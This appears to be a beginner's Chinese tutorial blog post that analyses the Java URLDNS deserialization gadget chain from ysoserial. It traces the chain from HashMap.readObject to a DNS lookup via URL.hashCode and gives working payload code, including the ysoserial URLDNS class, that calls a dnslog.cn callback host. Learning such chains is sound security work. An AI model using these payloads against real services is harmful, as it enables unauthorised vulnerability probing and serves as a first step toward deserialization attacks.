java学习时长两个半小时的小白手把手教你分析URLDNS利用链

一、基本知识

HashMap是一种用于存储键值对的数据结构,它提供了快速的插入、删除和查找操作。

URLDNS是HashMap的反序列化漏洞利用代码,该模块可以让靶机执行DNS查询并返回结果。

先下载ysoserial源代码,然后在idea中打开就可以分析了,注意一定要配置ysoserial的maven依赖

这篇文章写的非常详细:IDEA运行Maven项目配置全过程(菜鸟专属)-CSDN博客

二、漏洞原理

java.util.HashMap类实现了Serializable接口并且重写了readObject方法,在反序列化时会通过hash函数调用key的hashcode方法,恰好在URL类中存在hashcode方法,这个方法会调用getHostAddress将自身作为参数执行一次DNS解析。

三、利用链分析

我们的思路就是先看这个java程序中是否有这个类是否继承了Serializable接口,然后再确定这个类是否对readobject方法进行了重写,然后就是在readobject相关的方法中找找有没有可以控制的参数,如果有那么接下来就逐步分析利用链,看看能否调用恶意的类和方法,最终确定要传的恶意代码。

1. 思路分析

首先看hashmap.java

可以看到是继承了Serializable接口的

同时也重写了readobject方法,传入了参数ObjectInputSrtram s来接收用户输入流

然后分析下图这个地方,因为这里涉及到我们可以控制的参数key和value,这里应该就是利用链的第一环

 K key = (K) s.readObject();

这一行代码从输入流中读取一个对象,并将其转换为键的类型K。由于读取的对象类型是未知的,因此在转换时使用了泛型K,并且由于可能会导致类型转换异常,因此使用了@SuppressWarnings("unchecked")注解来抑制警告。

 putVal(hash(key), key, value, false, false);

这一行代码调用了HashMap的putVal方法,将读取到的键值对插入HashMap中。其中,hash(key)用于计算键的哈希值,key是键对象,value是值对象,而最后两个参数表示不需要进行扩容和初始化操作。

这里有两个方法putVal和hash。putVal方法就是将将读取到的键值对插入HashMap中,接下来分析hash()方法:

 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

检查key的值是否为0,如果为0就返回0作为哈希值,如果不为0就调用key对象中的hashcode方法,然后用^ (h >>> 16)进行运算,最终返回一个值。这里还没有找到利用点,继续跟进hashcode()方法:

hashCode() 函数是一个 native 方法,这意味着其实现是由底层的编程语言(通常是C或C++)来提供的,而不是由Java代码直接实现的。这里似乎已经走不通了,但是可以看到这个方法是在object类中的,而且是public的,这意味着所有类都可以调用这个方法并对其进行重写(因为object类是所有类的父类)。这时候我们的思路就转向调用其他重写了这个方法的类。

这里由于是分析URLDNS利用链,我们自然想到java的标准库URL.java,该类对hashcode进行了重写

可以看到当hashcode!=-1时,就直接返回hashcode,当hashcode=-1时就会执行handler.hashCode(this)(这里的hashcode是一个URL.java中的变量,默认为-1)。

/* Our hash code.
 * @serial
 */
private int hashCode = -1;

于是继续跟进handler.hashCode(this)

可以看到这个hashcode方法接收的参数是url参数,本着跟进处理可控参数的函数的原则,直接看关键函数调用InetAddress addr = getHostAddress(u);跟进

再跟进

可以看到这里调用了一个函数getHostAddress()来进行DNS解析返回对应的IP,这里就是最终的利用点

总结

分析到这里我们梳理一下利用链,首先是hash方法对可控key参数进行处理,如果key为空就返回0,如果key不为空就调用key中的hashcode方法进行运算后返回一个值,而URL这一java标准库中的类恰好定义了hashcode方法,所以我们继续分析URL这个类中的hashcode方法,在URL.java中有一个变量hashcode,当hashcode!=-1时,就直接返回hashcode,当hashcode=-1时就会调用handler中的hashCode(this)方法并且将自己作为参数。handler中的hashCode()方法接收的是一个url类的参数,这个方法调用了HostAddress(u)来对参数进行DNS查询。

利用链

 HashMap->readObject()
 ​
 HashMap->hash()
 ​
 URL->hashCode()
 ​
 URLStreamHandler->hashCode()
 ​
 URLStreamHandler->getHostAddress()
 ​
 InetAddress->getByName()

那也就是说,如果我们将URL.java中的hashcode变量赋值为-1,并且给hash方法传入一个URL的实例化对象(就是将key赋值为URL对象),就可以直接进行DNS查询

2. 构造链子

我们首先来看readobject方法中的putVal方法

这个方法用于将键值对放入 HashMap 中,最终保存在hashmap的哈希数组桶(table)的结点中以键值对的形式存储,而且还会据需要调整 HashMap 的大小。

再来看hashmap中的put方法

它简单地将传入的键和值作为参数,并调用了 putVal 方法来实际执行插入操作。

回到HashMap.java,定位到writeobject方法

这里我们想的是给hash()传入一个url对象,但是这里还没有处理输入的代码,所以跟进internalWriteEntries(s)

这段代码是 HashMap 类中用于序列化(将 HashMap 对象写入 ObjectOutputStream)的一个辅助方法

  • 首先,检查 HashMap 的大小是否大于 0,以及它的底层哈希桶数组 table 是否不为 null。如果不满足这两个条件,则表示 HashMap 中没有数据,直接结束方法。

  • 如果 HashMap 中有数据,就遍历哈希桶数组 table 中的每个桶。

  • 对于每个桶中的节点,使用一个内部循环来遍历链表或树结构中的所有节点。

  • 对于每个节点,通过 s.writeObject(e.key)s.writeObject(e.value) 将键和值写入 ObjectOutputStream 中,实现序列化操作。

这个过程就实现了将hashmap中的哈希数组桶的结点传给ObjectOutputStream,之后就将其传递到readObject方法中进行读取,其中读取到的key就是我们实例化的URL对象,至此,这条利用链形成了闭环!

但是还有一个问题

想要修改table的值,就需要调用HashMap的put方法,而HashMap的put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:

 public V put(K key, V value) {
         return putVal(hash(key), key, value, false, true);
 }

为了避免这一次的dns查询,URLDNS 中使用SilentURLStreamHandler 方法,直接返回null,并不会像URLStreamHandler那样去调用一系列方法最终到getByName,因此也就不会触发dns查询了

除了这种方法还可以在本地生成payload时,将hashCode设置不为-1的其他值。

 public synchronized int hashCode() {
         if (hashCode != -1)
             return hashCode;
 ​
         hashCode = handler.hashCode(this);
         return hashCode;
     }

如果不为-1,那么直接返回了。也就不会进行handler.hashCode(this);这一步计算hashcode,也就没有之后的getByName,获取dns查询

     private int hashCode = -1;

由于hashCode是通过private关键字进行修饰的(本类中可使用),可以通过反射来修改hashCode的值

总结

给key传为url并触发dns查询的步骤如下:

  1. 使用put方法将url对象和一个任意的value值传入hashmap的哈希数组桶的节点中,然后会由internalWriteEntries方法自动的将这个键值对传递给readobject

  1. 使用反射将URL.js中的hashcode参数先改为不等于-1的数,防止在调用put方法时触发dns查询,然后再将其改回-1,触发反序列化时的DNS查询。

payload1

 package Payloads;
 ​
 import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.net.URL;
 import java.io.FileOutputStream;
 import java.io.FileInputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 ​
 ​
 public class Main {
     public static void main(String[] args) throws Exception {
     
         HashMap map = new HashMap();                    // 实例化HashMap类
         URL url = new URL("http://78y3ls.dnslog.cn");   // 实例化URL类
         Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");                                                                                                                                    // 通过反射机制获取了 java.net.URL 类中名为 "hashCode" 的字段并赋值为f
         f.setAccessible(true);                          // 绕过Java语言权限控制检查的权限
         f.set(url,123);                                 // 设置hashcode的值为123
         System.out.println(url.hashCode());             // 打印url中hashcode的执行结果
         map.put(url,123);                               // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询
         f.set(url,-1);                                  // 将hashcode重新设置为-1,确保在反序列化成功触发
 ​
         try {
             FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
             ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
 ​
             outputStream.writeObject(map);
             outputStream.close();
             fileOutputStream.close();
 ​
             FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
             ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
             inputStream.readObject();
             inputStream.close();
             fileInputStream.close();
         }
         catch (Exception e){
             e.printStackTrace();
         }
 ​
     }
 ​
 }

URLDNS利用链

 package ysoserial.payloads;
 ​
 import java.io.IOException;
 import java.net.InetAddress;
 import java.net.URLConnection;
 import java.net.URLStreamHandler;
 import java.util.HashMap;
 import java.net.URL;
 ​
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 ​
 public class URLDNS implements ObjectPayload<Object> {
         //这个类用于示例化对象,并利用反射给hashcode赋值
         public Object getObject(final String url) throws Exception {
 ​
                 URLStreamHandler handler = new SilentURLStreamHandler();    
                             //创建一个SilentURLStreamHandler对象,用于处理URL的Stream。
 ​
                 HashMap ht = new HashMap(); 
                             //创建一个HashMap对象,用于存储URL和对应的字符串。
                 
                 URL u = new URL(null, url, handler); 
                             //通过给定的URL字符串和指定的handler创建一个URL对象。
                 
                 ht.put(u, url); 
                             //将URL和对应的字符串放入HashMap中。
                 
                 Reflections.setFieldValue(u, "hashCode", -1); 
                             //通过反射设置URL对象的hashCode字段为-1。
                 return ht;
         }
         
         //在主函数中给url类传入一个参数然后执行
         public static void main(final String[] args) throws Exception {
                 PayloadRunner.run(URLDNS.class, new String[]{"http://78y3ls.dnslog.cn"});
         }
         
         //这个类用于规避使用put方法时,进行一次DNS查询的问题
         static class SilentURLStreamHandler extends URLStreamHandler {
                 protected URLConnection openConnection(URL u) throws IOException {
                         return null;
                 }
                 
                 protected synchronized InetAddress getHostAddress(URL u) {
                         return null;
                 }
         }
 }

参考链接:Java反序列化 — URLDNS利用链分析 - 先知社区 (aliyun.com)

小白第一次写文章,请大佬多多指教。

  • 30
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 11
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值